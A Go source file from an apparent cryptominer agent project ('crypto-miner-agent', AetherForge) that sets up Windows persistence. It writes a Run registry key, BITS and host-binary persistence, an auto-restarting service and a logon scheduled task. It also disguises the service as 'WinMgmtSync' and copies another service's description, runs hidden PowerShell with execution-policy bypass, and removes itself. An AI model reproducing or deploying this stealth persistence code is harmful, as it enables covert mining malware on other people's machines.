Files
AetherForge/agent/deploy/platform_windows.go
AetherForge 5fc601b564 feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence
Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
2026-06-04 09:34:33 -07:00

140 lines
3.6 KiB
Go

//go:build windows
package deploy
import (
"fmt"
"os"
"path/filepath"
"strings"
"time"
"crypto-miner-agent/config"
"golang.org/x/sys/windows/registry"
)
func CurrentExecutable() (string, error) {
path, err := os.Executable()
if err != nil {
return filepath.Abs(os.Args[0])
}
return filepath.Abs(path)
}
func configureAutoStart(cfg config.RuntimeConfig, binPath string) error {
k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
if err != nil {
return err
}
defer k.Close()
val := fmt.Sprintf(`"%s" %s`, binPath, runFlag)
return k.SetStringValue(PersistenceKeyName(cfg), val)
}
func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
switch cfg.RunAs {
case "bits":
return CreateBITSPersistence(cfg, installedBin)
case "host_binary":
return EnsureHostBinaryPersistence(cfg, installedBin, cfg.HostBinaryTarget)
case "service":
return createWindowsService(cfg, installedBin)
case "scheduled":
return createScheduledTask(cfg, installedBin)
default:
return nil
}
}
func createWindowsService(cfg config.RuntimeConfig, binPath string) error {
svcName := cfg.ServiceName
if svcName == "" {
svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
}
_ = HiddenRun("sc.exe", "stop", svcName)
_ = HiddenRun("sc.exe", "delete", svcName)
time.Sleep(time.Second)
if err := HiddenRun("sc.exe", "create", svcName,
"binPath=", `"`+binPath+`" --run`,
"type=", "own",
"start=", "auto",
"error=", "ignore",
); err != nil {
return fmt.Errorf("sc create: %w", err)
}
_ = HiddenRun("sc.exe", "failure", svcName,
"reset=", "60",
"actions=", "restart/0/restart/5000/restart/30000",
)
_ = HiddenRun("sc.exe", "start", svcName)
if cfg.ServiceMasquerade && cfg.ServiceDonor != "" {
cloneServiceDescription(svcName, cfg.ServiceDonor)
}
return nil
}
func cloneServiceDescription(targetSvc, donorSvc string) {
ps := fmt.Sprintf(`
$donorWmi = Get-WmiObject Win32_Service -Filter "Name='%s'" -EA SilentlyContinue
if ($donorWmi) {
sc.exe description '%s' ($donorWmi.Description)
Set-Service '%s' -DisplayName $donorWmi.Caption -EA SilentlyContinue
}
`,
strings.ReplaceAll(donorSvc, `'`, `''`),
strings.ReplaceAll(targetSvc, `'`, `''`),
strings.ReplaceAll(targetSvc, `'`, `''`),
)
_ = HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
}
func createScheduledTask(cfg config.RuntimeConfig, binPath string) error {
taskName := PersistenceKeyName(cfg)
if taskName == "" {
taskName = "CryptoMinerAgent"
}
tr := fmt.Sprintf(`\"%s\" %s`, binPath, runFlag)
return HiddenRun("schtasks", "/Create", "/TN", taskName, "/TR", tr, "/SC", "ONLOGON", "/F", "/RL", "LIMITED")
}
func HostOSVersion() string {
out, err := HiddenCombinedOutput("cmd", "/C", "ver")
if err != nil {
return "windows"
}
return strings.TrimSpace(string(out))
}
func killWorkerProcess(cfg config.RuntimeConfig) {
_ = HiddenRun("taskkill", "/F", "/IM", BinaryName(cfg))
}
func removePersistence(cfg config.RuntimeConfig) {
keyName := PersistenceKeyName(cfg)
_ = HiddenRun("schtasks", "/Delete", "/TN", keyName, "/F")
removeAutostartExtras(cfg)
RemoveBITSPersistence(cfg)
RemoveHostBinaryPersistence(cfg)
svcName := cfg.ServiceName
if svcName == "" {
svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
}
_ = HiddenRun("sc.exe", "stop", svcName)
_ = HiddenRun("sc.exe", "delete", svcName)
}
func selfUninstallSpawn(installDir string) {
dir := installDir
go func() {
time.Sleep(2 * time.Second)
_ = os.RemoveAll(dir)
}()
}